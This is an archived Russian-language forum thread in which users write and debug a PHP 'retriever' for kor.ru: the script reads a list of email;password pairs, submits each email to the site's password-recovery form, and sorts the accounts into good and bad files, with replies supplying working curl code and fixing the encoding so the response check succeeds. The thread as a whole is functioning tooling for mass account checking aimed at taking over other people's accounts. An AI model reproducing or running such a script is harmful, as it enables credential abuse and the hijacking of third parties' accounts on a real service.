Просмотр полной версии : www.kor.ru - Ретривер.
Всем привет.Пишу тут ретривер для КОРа,но чего-то не выходит восстановить письмо.Непонятно,что за РНР скрипт обрабатывает восстановление пароля.Вот примерный код:
<?php
set_time_limit(0);
include "funcs.php";
$fp = fopen("accounts.txt","r");
$fp1 = fopen("good.txt","a+");
$fp2 = fopen("bad.txt","a+");
while(!feof($fp)) {
$str = fgets($fp,1024);
$str1 = explode(";",trim($str));
$r = retpost("http://www.kor.ru/password/recover","email=$str1[0]&submit=Вспомнить");
if(preg_match("|Пароль выслан|",$r)) {
fwrite($fp1,"$str1[0];$str1[1]\r\n");
}
else {
fwrite($fp2,"$str1[0];$str1[1]\r\n");
}
}
fclose($fp);
fclose($fp1);
fclose($fp2);
?>
Мб регулярка и пральная,но записывает в bad.txt.Подозреваю,что это из-за неправильного запроса.Других причин просто не вижу.Кто поможет ?
_==wolf==_
13.09.2009, 12:09
проверь кодировку. и для начала закоменть регулярки и сделай вывод $r, посмори что там
Ну отсылает нормально правда такого мыла нет, дальше через регулярки и RETURNTRANSFER на 1 переключи.
<?php
$ch = curl_init('http://www.kor.ru/password/recover');
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_REFERER,'http://www.kor.ru/password/recover');
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook');
curl_exec($ch);
?>
А что за %D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C ?
Пробовал так сделать:
preg_match("|(.*)|",$r,$sam);
print_r($sam);
Возвращает еденицу(.returntransfer в 0 и 1 пробовал но бестолку.
ЗЫ: Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают кроме (.*).Возвращает пустой массив,или кучу пустых элементов.Одно ясно,что результат возвращается,вот а почему элементарный контекстный поиск не работает...
А что за %D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C ?
Кнопка =\
&submit=%D0%9...
Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают
Потому что там UTF-8
<?php
$ch = curl_init('http://www.kor.ru/password/recover');
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER,'http://www.kor.ru/password/recover');
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
$res = curl_exec($ch);
curl_close($ch);
$txt = iconv('Windows-1251','UTF-8','Неверный адрес');
if(preg_match("#$txt#",$res))
echo 'Неверный адрес ага';
?>
ЗЫ пробелы убереш в :
submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C
Пасип,тему мона клоцать:)Всё работает:)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot